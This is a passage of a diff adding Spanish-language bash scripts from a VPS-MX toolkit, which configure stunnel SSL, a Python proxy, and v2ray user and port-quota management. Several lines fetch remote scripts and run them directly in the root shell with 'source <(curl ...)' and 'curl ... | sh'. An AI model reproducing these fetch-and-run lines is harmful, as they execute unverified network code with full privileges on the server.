+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<20; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.5
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m OK \033[0m"
+sleep 1s
+}
+ssl_stunel () {
+[[ $(mportas|grep stunnel4|head -1) ]] && {
+echo -e "\033[1;33m $(fun_trans  "Deteniendo Stunnel")"
+msg -bar
+service stunnel4 stop > /dev/null 2>&1
+fun_bar "apt-get purge  stunnel4 -y"
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "Detenido Con Exito!")"
+msg -bar
+return 0
+}
+echo -e "\033[1;32m $(fun_trans  "              INSTALADOR SSL By VPS-MX")"
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "Seleccione una puerta de redirección interna.")"
+echo -e "\033[1;33m $(fun_trans  "Un puerto SSH/DROPBEAR/SQUID/OPENVPN/SSL")"
+msg -bar
+         while true; do
+         echo -e "\033[1;37m"
+         read -p " Local-Port: " portx
+		 echo ""
+         if [[ ! -z $portx ]]; then
+             if [[ $(echo $portx|grep [0-9]) ]]; then
+                [[ $(mportas|grep $portx|head -1) ]] && break || echo -e "\033[1;31m Puerto Invalido"
+             fi
+         fi
+         done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+echo -e "\033[1;33m   Ahora Que Puerto sera SSL"
+msg -bar
+    while true; do
+	echo -e "\033[1;37m"
+    read -p " Listen-SSL: " SSLPORT
+	echo ""
+    [[ $(mportas|grep -w "$SSLPORT") ]] || break
+    echo -e "\033[1;33m Este Puerto esta en Uso"
+    unset SSLPORT
+    done
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "Instalando SSL")"
+msg -bar
+fun_bar "apt-get install stunnel4 -y"
+apt-get install stunnel4 -y > /dev/null 2>&1
+echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${portx}" > /etc/stunnel/stunnel.conf
+####Coreccion2.0##### 
+openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1
+
+# (echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "@vpsmx" )|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1
+
+openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt
+
+cat stunnel.crt stunnel.key > stunnel.pem 
+
+mv stunnel.pem /etc/stunnel/
+######-------
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "INSTALADO CON EXITO")"
+msg -bar
+rm -rf /etc/ger-frm/stunnel.crt > /dev/null 2>&1
+rm -rf /etc/ger-frm/stunnel.key > /dev/null 2>&1
+rm -rf /root/stunnel.crt > /dev/null 2>&1
+rm -rf /root/stunnel.key > /dev/null 2>&1
+return 0
+}
+SPR &
+ssl_stunel_2 () {
+echo -e "\033[1;32m $(fun_trans  "             AGREGAR MAS PUESRTOS SSL")"
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "Seleccione una puerta de redirección interna.")"
+echo -e "\033[1;33m $(fun_trans  "Un puerto SSH/DROPBEAR/SQUID/OPENVPN/SSL")"
+msg -bar
+         while true; do
+         echo -ne "\033[1;37m"
+         read -p " Local-Port: " portx
+		 echo ""
+         if [[ ! -z $portx ]]; then
+             if [[ $(echo $portx|grep [0-9]) ]]; then
+                [[ $(mportas|grep $portx|head -1) ]] && break || echo -e "\033[1;31m $(fun_trans  "Puerto Invalido")"
+             fi
+         fi
+         done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+echo -e "\033[1;33m $(fun_trans  "Ahora Que Puerto sera SSL")"
+msg -bar
+    while true; do
+	echo -ne "\033[1;37m"
+    read -p " Listen-SSL: " SSLPORT
+	echo ""
+    [[ $(mportas|grep -w "$SSLPORT") ]] || break
+    echo -e "\033[1;33m $(fun_trans  "Esta puerta está en uso")"
+    unset SSLPORT
+    done
+msg -bar
+echo -e "\033[1;33m $(fun_trans  "Instalando SSL")"
+msg -bar
+fun_bar "apt-get install stunnel4 -y"
+echo -e "client = no\n[SSL+]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" >> /etc/stunnel/stunnel.conf
+######-------
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+echo -e "${cor[4]}            INSTALADO CON EXITO"
+msg -bar
+rm -rf /etc/ger-frm/stunnel.crt > /dev/null 2>&1
+rm -rf /etc/ger-frm/stunnel.key > /dev/null 2>&1
+rm -rf /root/stunnel.crt > /dev/null 2>&1
+rm -rf /root/stunnel.key > /dev/null 2>&1
+return 0
+}
+ssl_stunel_3 () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;93m      SSL + PYDIREC  \033[1;94m By @AleSosaCreaciones "
+msg -bar
+echo -e "\033[1;91m Deveras tener el Puerto 22 SSH y libre (80 y 443)"
+msg -bar
+
+ install_python(){ 
+ echo -e "\033[1;97m Activando Python Direc 80\n"
+ fun_bar "apt-get install python -y" 
+ sleep 3  
+ screen -dmS pydic-80 python ${SCPinst}/python.py 80 "VPS-MX" && echo "80 VPS-MX" >> /etc/VPS-MX/PySSL.log
+ msg -bar
+ } 
+ install_ssl(){  
+ echo -e "\033[1;97m Activando Servicios SSL 80 ► 443\n"
+ fun_bar "apt-get install stunnel4 -y" 
+ apt-get install stunnel4 -y > /dev/null 2>&1 
+ echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = 443\nconnect = 127.0.0.1:80" > /etc/stunnel/stunnel.conf 
+ openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 
+ #(echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "mx" ; echo "@vpsmx" )|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1
+ openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt  
+ cat stunnel.crt stunnel.key > stunnel.pem   
+ mv stunnel.pem /etc/stunnel/ 
+ ######------- 
+ sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 
+ service stunnel4 restart > /dev/null 2>&1  
+ rm -rf /root/stunnel.crt > /dev/null 2>&1 
+ rm -rf /root/stunnel.key > /dev/null 2>&1 
+ } 
+install_python 
+install_ssl 
+msg -bar
+echo -e "${cor[4]}               INSTALACION COMPLETA"
+msg -bar
+}
+clear
+clear
+msg -bar
+msg -bar3
+msg -tit
+echo -e "${cor[3]}       INSTALADOR MONO Y MULTI SSL By @Kalix1"
+msg -bar
+echo -e "${cor[1]}            Escoja la opcion deseada."
+msg -bar
+echo -e "${cor[4]} 1).-\033[1;37m INICIAR | PARAR SSL "
+echo -e "${cor[4]} 2).-\033[1;37m AGREGAR PUERTOS SSL   "
+msg -bar
+echo -e "${cor[4]} 3).-\033[1;37m SSL+PYDIREC (AUTO CONFIGURACION)   "
+echo -ne ""$(msg -bar)"   \n$(msg -verd " 0).-") $(msg -verm2 "==>")" &&  msg -bra  "  \e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+echo -ne "\033[1;37mDigite solo el numero segun su respuesta: "
+
+
+read opcao
+case $opcao in
+1)
+msg -bar
+ssl_stunel
+;;
+2)
+msg -bar
+ssl_stunel_2
+;;
+3)
+msg -bar
+ssl_stunel_3
+msg -ne "Enter Para Continuar" && read enter
+/etc/VPS-MX/protocolos/ssl.sh
+;;
+4)
+exit
+;;
+esac

+ 504 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/v2ray.sh

@@ -0,0 +1,504 @@
+#!/bin/bash
+#25/01/2021 by @Kalix1
+clear
+clear
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+err_fun () {
+     case $1 in
+     1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     2)msg -verm "$(fun_trans "Nombre muy corto (MIN: 2 CARACTERES)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     3)msg -verm "$(fun_trans "Nombre muy grande (MAX: 5 CARACTERES)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     4)msg -verm "$(fun_trans "Contraseña Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     5)msg -verm "$(fun_trans "Contraseña muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     6)msg -verm "$(fun_trans "Contraseña muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     8)msg -verm "$(fun_trans "Duracion invalida utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     9)msg -verm "$(fun_trans "Duracion maxima y de un año")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     13)msg -verm "$(fun_trans "Limite maximo de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     14)msg -verm "$(fun_trans "Usuario Ya Existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+	 15)msg -verm "$(fun_trans "(Solo numeros) GB = Min: 1gb Max: 1000gb")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+	 16)msg -verm "$(fun_trans "(Solo numeros)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+	 17)msg -verm "$(fun_trans "(Sin Informacion - Para Cancelar Digite CRTL + C)")"; sleep 4s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+     esac
+}
+intallv2ray () {
+apt install python3-pip -y 
+source <(curl -sL https://multi.netlify.app/v2ray.sh)
+## Correccion Mail
+mailfix=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10)
+curl https://get.acme.sh | sh -s email=$mailfix@gmail.com
+#
+msg -ama "$(fun_trans "Intalado con Exito")!"
+USRdatabase="/etc/VPS-MX/RegV2ray"
+[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
+sort ${USRdatabase} | uniq > ${USRdatabase}tmp
+mv -f ${USRdatabase}tmp ${USRdatabase}
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+
+}
+protocolv2ray () {
+msg -ama "$(fun_trans "Escojer opcion 3 y poner el dominio de nuestra IP")!"
+msg -bar
+v2ray stream
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] && exit
+tls () {
+msg -ama "$(fun_trans "Activar o Desactivar TLS")!"
+msg -bar
+v2ray tls
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+portv () {
+msg -ama "$(fun_trans "Cambiar Puerto v2ray")!"
+msg -bar
+v2ray port
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+stats () {
+msg -ama "$(fun_trans "Estadisticas de Consumo")!"
+msg -bar
+v2ray stats
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+unistallv2 () {
+source <(curl -sL https://multi.netlify.app/v2ray.sh) --remove > /dev/null 2>&1
+rm -rf /etc/VPS-MX/RegV2ray > /dev/null 2>&1
+echo -e "\033[1;92m                  V2RAY REMOVIDO OK "
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+infocuenta () {
+v2ray info
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+addusr () {
+clear 
+clear
+msg -bar
+msg -tit
+msg -ama "             AGREGAR USUARIO | UUID V2RAY"
+msg -bar
+##DAIS
+valid=$(date '+%C%y-%m-%d' -d " +31 days")		  
+##CORREO		  
+MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10)
+##ADDUSERV2RAY		  
+UUID=`uuidgen`	  
+sed -i '13i\           \{' /etc/v2ray/config.json
+sed -i '14i\           \"alterId": 0,' /etc/v2ray/config.json
+sed -i '15i\           \"id": "'$UUID'",' /etc/v2ray/config.json
+sed -i '16i\           \"email": "'$MAILITO'@gmail.com"' /etc/v2ray/config.json
+sed -i '17i\           \},' /etc/v2ray/config.json
+echo ""
+while true; do
+echo -ne "\e[91m >> Digita un Nombre: \033[1;92m"
+     read -p ": " nick
+     nick="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')"
+     if [[ -z $nick ]]; then
+     err_fun 17 && continue
+     elif [[ "${#nick}" -lt "2" ]]; then
+     err_fun 2 && continue
+     elif [[ "${#nick}" -gt "5" ]]; then
+     err_fun 3 && continue
+     fi
+     break
+done
+echo -e "\e[91m >> Agregado UUID: \e[92m$UUID "
+while true; do
+     echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser
+     if [[ -z "$diasuser" ]]; then
+     err_fun 17 && continue
+     elif [[ "$diasuser" != +([0-9]) ]]; then
+     err_fun 8 && continue
+     elif [[ "$diasuser" -gt "360" ]]; then
+     err_fun 9 && continue
+     fi 
+     break
+done
+#Lim
+[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days")
+echo -e "\e[91m >> Expira el : \e[92m$datexp "
+##Registro
+echo "  $UUID | $nick | $valid " >> /etc/VPS-MX/RegV2ray
+Fecha=`date +%d-%m-%y-%R`
+cp /etc/VPS-MX/RegV2ray /etc/VPS-MX/v2ray/RegV2ray-"$Fecha"
+cp /etc/v2ray/config.json /etc/VPS-MX/v2ray/config.json-"$Fecha" 
+v2ray restart > /dev/null 2>&1
+echo ""
+v2ray info > /etc/VPS-MX/v2ray/confuuid.log
+lineP=$(sed -n '/'${UUID}'/=' /etc/VPS-MX/v2ray/confuuid.log)
+numl1=4
+let suma=$lineP+$numl1
+sed -n ${suma}p /etc/VPS-MX/v2ray/confuuid.log 
+echo ""
+msg -bar
+echo -e "\e[92m           UUID AGREGEGADO CON EXITO "
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+
+delusr () {
+clear 
+clear
+invaliduuid () {
+msg -bar
+echo -e "\e[91m                    UUID INVALIDO \n$(msg -bar)"
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+msg -bar
+msg -tit
+msg -ama "             ELIMINAR USUARIO | UUID V2RAY"
+msg -bar
+echo -e "\e[97m               USUARIOS REGISTRADOS"
+echo -e "\e[33m$(cat /etc/VPS-MX/RegV2ray|cut -d '|' -f2,1)" 
+msg -bar
+echo -ne "\e[91m >> Digita el UUID a elininar:\n \033[1;92m " && read uuidel
+[[ $(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json|head -1) ]] || invaliduuid
+lineP=$(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json)
+linePre=$(sed -n '/'${uuidel}'/=' /etc/VPS-MX/RegV2ray)
+sed -i "${linePre}d" /etc/VPS-MX/RegV2ray
+numl1=2
+let resta=$lineP-$numl1
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+sed -i "${resta}d" /etc/v2ray/config.json
+v2ray restart > /dev/null 2>&1
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+
+mosusr_kk() {
+clear 
+clear
+msg -bar
+msg -tit
+msg -ama "         USUARIOS REGISTRADOS | UUID V2RAY"
+msg -bar
+# usersss=$(cat /etc/VPS-MX/RegV2ray|cut -d '|' -f1)
+# cat /etc/VPS-MX/RegV2ray|cut -d'|' -f3
+VPSsec=$(date +%s)
+local HOST="/etc/VPS-MX/RegV2ray"
+local HOST2="/etc/VPS-MX/RegV2ray"
+local RETURN="$(cat $HOST|cut -d'|' -f2)"
+local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
+if [[ -z $RETURN ]]; then
+echo -e "----- NINGUN USER REGISTRADO -----"
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+
+else
+i=1
+echo -e "\e[97m                 UUID                | USER | EXPIRACION \e[93m"
+msg -bar
+while read hostreturn ; do
+DateExp="$(cat /etc/VPS-MX/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f3)"
+if [[ ! -z $DateExp ]]; then             
+DataSec=$(date +%s --date="$DateExp")
+[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[EXPIRADO]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias"
+else
+EXPTIME="\e[91m[ S/R ]"
+fi 
+usris="$(cat /etc/VPS-MX/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f2)"
+local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n"           
+      if [[ $i -gt 30 ]]; then
+	      echo -e "$contador_secuencial"
+	  unset contador_secuencial
+	  unset i
+	  fi
+let i++
+done <<< "$IDEUUID"
+
+[[ ! -z $contador_secuencial ]] && {
+linesss=$(cat /etc/VPS-MX/RegV2ray | wc -l)
+	      echo -e "$contador_secuencial \n Numero de Registrados: $linesss"
+	}
+fi
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+lim_port () {
+clear 
+clear
+msg -bar
+msg -tit
+msg -ama "          LIMITAR MB X PORT | UUID V2RAY"
+msg -bar
+###VER
+estarts () {
+VPSsec=$(date +%s)
+local HOST="/etc/VPS-MX/v2ray/lisportt.log"
+local HOST2="/etc/VPS-MX/v2ray/lisportt.log"
+local RETURN="$(cat $HOST|cut -d'|' -f2)"
+local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
+if [[ -z $RETURN ]]; then
+echo -e "----- NINGUN PUERTO REGISTRADO -----"
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+else
+i=1
+while read hostreturn ; do
+iptables -n -v -L > /etc/VPS-MX/v2ray/data1.log 
+statsss=$(cat /etc/VPS-MX/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5)
+gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2)
+local contador_secuencial+="         \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB  \n"          
+      if [[ $i -gt 30 ]]; then
+	      echo -e "$contador_secuencial"
+	  unset contador_secuencial
+	  unset i
+	  fi
+let i++
+done <<< "$IDEUUID"
+
+[[ ! -z $contador_secuencial ]] && {
+linesss=$(cat /etc/VPS-MX/v2ray/lisportt.log | wc -l)
+	      echo -e "$contador_secuencial \n Puertos Limitados: $linesss"
+	}
+fi
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh 
+}
+###LIM
+liport () {
+while true; do
+     echo -ne "\e[91m >> Digite Port a Limitar:\033[1;92m " && read portbg
+     if [[ -z "$portbg" ]]; then
+     err_fun 17 && continue
+     elif [[ "$portbg" != +([0-9]) ]]; then
+     err_fun 16 && continue
+     elif [[ "$portbg" -gt "1000" ]]; then
+     err_fun 16 && continue
+     fi 
+     break
+done
+while true; do
+     echo -ne "\e[91m >> Digite Cantidad de GB:\033[1;92m " && read capgb
+     if [[ -z "$capgb" ]]; then
+     err_fun 17 && continue
+     elif [[ "$capgb" != +([0-9]) ]]; then
+     err_fun 15 && continue
+     elif [[ "$capgb" -gt "1000" ]]; then
+     err_fun 15 && continue
+     fi 
+     break
+done
+uml1=1073741824
+gbuser="$capgb"
+let multiplicacion=$uml1*$gbuser
+sudo iptables -I OUTPUT -p tcp --sport $portbg -j DROP
+sudo iptables -I OUTPUT -p tcp --sport $portbg -m quota --quota $multiplicacion -j ACCEPT
+iptables-save > /etc/iptables/rules.v4
+echo ""
+echo -e " Port Seleccionado: $portbg | Cantidad de GB: $gbuser"
+echo ""
+echo " $portbg | $gbuser | $multiplicacion " >> /etc/VPS-MX/v2ray/lisportt.log 
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+###RES
+resdata () {
+VPSsec=$(date +%s)
+local HOST="/etc/VPS-MX/v2ray/lisportt.log"
+local HOST2="/etc/VPS-MX/v2ray/lisportt.log"
+local RETURN="$(cat $HOST|cut -d'|' -f2)"
+local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
+if [[ -z $RETURN ]]; then
+echo -e "----- NINGUN PUERTO REGISTRADO -----"
+return 0
+else
+i=1
+while read hostreturn ; do
+iptables -n -v -L > /etc/VPS-MX/v2ray/data1.log 
+statsss=$(cat /etc/VPS-MX/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5)
+gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2)
+local contador_secuencial+="         \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB  \n"  
+        
+      if [[ $i -gt 30 ]]; then
+	      echo -e "$contador_secuencial"
+	  unset contador_secuencial
+	  unset i
+	  fi
+let i++
+done <<< "$IDEUUID"
+
+[[ ! -z $contador_secuencial ]] && {
+linesss=$(cat /etc/VPS-MX/v2ray/lisportt.log | wc -l)
+	      echo -e "$contador_secuencial \n Puertos Limitados: $linesss"
+	}
+fi
+msg -bar
+
+while true; do
+     echo -ne "\e[91m >> Digite Puerto a Limpiar:\033[1;92m " && read portbg
+     if [[ -z "$portbg" ]]; then
+     err_fun 17 && continue
+     elif [[ "$portbg" != +([0-9]) ]]; then
+     err_fun 16 && continue
+     elif [[ "$portbg" -gt "1000" ]]; then
+     err_fun 16 && continue
+     fi 
+     break
+done
+invaliduuid () {
+msg -bar
+echo -e "\e[91m                PUERTO INVALIDO \n$(msg -bar)"
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+}
+[[ $(sed -n '/'${portbg}'/=' /etc/VPS-MX/v2ray/lisportt.log|head -1) ]] || invaliduuid
+gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$portbg"|cut -d'|' -f3)
+sudo iptables -D OUTPUT -p tcp --sport $portbg -j DROP
+sudo iptables -D OUTPUT -p tcp --sport $portbg -m quota --quota $gblim -j ACCEPT
+iptables-save > /etc/iptables/rules.v4
+lineP=$(sed -n '/'${portbg}'/=' /etc/VPS-MX/v2ray/lisportt.log)
+sed -i "${linePre}d" /etc/VPS-MX/v2ray/lisportt.log
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh 
+}
+## MENU
+echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "LIMITAR DATA x PORT") "
+echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "RESETEAR DATA DE PORT") "
+echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "VER DATOS CONSUMIDOS") "
+echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+selection=$(selection_fun 3)
+case ${selection} in
+1)liport ;;
+2)resdata;;
+3)estarts;;
+0)
+${SCPinst}/v2ray.sh
+;;
+esac
+}
+
+limpiador_activador () {
+unset PIDGEN
+PIDGEN=$(ps aux|grep -v grep|grep "limv2ray")
+if [[ ! $PIDGEN ]]; then
+screen -dmS limv2ray watch -n 21600 limv2ray
+else
+#killall screen
+screen -S limv2ray -p 0 -X quit
+fi
+unset PID_GEN
+PID_GEN=$(ps x|grep -v grep|grep "limv2ray")
+[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ DESACTIVADO ] " || PID_GEN="\e[92m [ ACTIVADO ] "
+statgen="$(echo $PID_GEN)"
+clear 
+clear
+msg -bar
+msg -tit
+msg -ama "          ELIMINAR EXPIRADOS | UUID V2RAY"
+msg -bar
+echo ""
+echo -e "                    $statgen " 
+echo "" 						
+msg -bar
+msg -ne "Enter Para Continuar" && read enter
+${SCPinst}/v2ray.sh
+
+}
+
+selection_fun () {
+local selection="null"
+local range
+for((i=0; i<=$1; i++)); do range[$i]="$i "; done
+while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do
+echo -ne "\033[1;37m$(fun_trans " ► Selecione una Opcion"): " >&2
+read selection
+tput cuu1 >&2 && tput dl1 >&2
+done
+echo $selection
+}
+
+PID_GEN=$(ps x|grep -v grep|grep "limv2ray")
+[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ DESACTIVADO ] " || PID_GEN="\e[92m [ ACTIVADO ] "
+statgen="$(echo $PID_GEN)"
+SPR & 
+msg -bar3
+msg -bar
+msg -tit
+msg -ama "$(fun_trans "        INSTALADOR DE V2RAY (PASO A PASO) ")"
+msg -bar
+## INSTALADOR
+echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "INSTALAR V2RAY") "
+echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "CAMBIAR PROTOCOLO") "
+echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "ACTIVAR TLS") "
+echo -ne "\033[1;32m [4] > " && msg -azu "$(fun_trans "CAMBIAR PUERTO V2RAY")\n$(msg -bar) "
+## CONTROLER
+echo -ne "\033[1;32m [5] > " && msg -azu "AGREGAR USUARIO UUID "
+echo -ne "\033[1;32m [6] > " && msg -azu "ELIMINAR USUARIO UUID"
+echo -ne "\033[1;32m [7] > " && msg -azu "MOSTAR USUARIOS REGISTRADOS"
+echo -ne "\033[1;32m [8] > " && msg -azu "INFORMACION DE CUENTAS"
+echo -ne "\033[1;32m [9] > " && msg -azu "ESTADISTICAS DE CONSUMO "
+echo -ne "\033[1;32m [10] > " && msg -azu "LIMITADOR POR CONSUMO\e[91m ( BETA x PORT )"
+echo -ne "\033[1;32m [11] > " && msg -azu "LIMPIADOR DE EXPIRADOS ------- $statgen\n$(msg -bar)"
+## DESISNTALAR
+echo -ne "\033[1;32m [12] > " && msg -azu "\033[1;31mDESINSTALAR V2RAY"
+echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+pid_inst () {
+[[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0
+unset portas
+portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND")
+i=0
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e ${portas[@]}|grep "$var1 $var2")" ]] || {
+    portas[$i]="$var1 $var2\n"
+    let i++
+    }
+done <<< "$portas_var"
+[[ $(echo "${portas[@]}"|grep "$1") ]] && echo -e "\033[1;32m[ Servicio Activo ]" || echo -e "\033[1;31m[ Servicio Desactivado ]"
+}
+echo -e "         \e[97mEstado actual: $(pid_inst v2ray)"
+msg -bar
+# while [[ ${arquivoonlineadm} != @(0|[1-99]) ]]; do
+# read -p "Seleccione una Opcion [0-12]: " arquivoonlineadm
+# tput cuu1 && tput dl1
+# done
+selection=$(selection_fun 18)
+case ${selection} in
+1)intallv2ray;;
+2)protocolv2ray;;
+3)tls;;
+4)portv;;
+5)addusr;;
+6)delusr;;
+7)mosusr_kk;;
+8)infocuenta;;
+9)stats;;
+10)lim_port;;
+11)limpiador_activador;;
+12)unistallv2;;
+0)exit;;
+esac

+ 1 - 0
SCRIPT-v8.4g Oficial/Version

@@ -0,0 +1 @@
+8.5

+ 1070 - 0
SCRIPT-v8.5x Mod/LACASITA.sh

@@ -0,0 +1,1070 @@
+ #!/bin/bash
+ if [ `whoami` != 'root' ] 
+
+ then
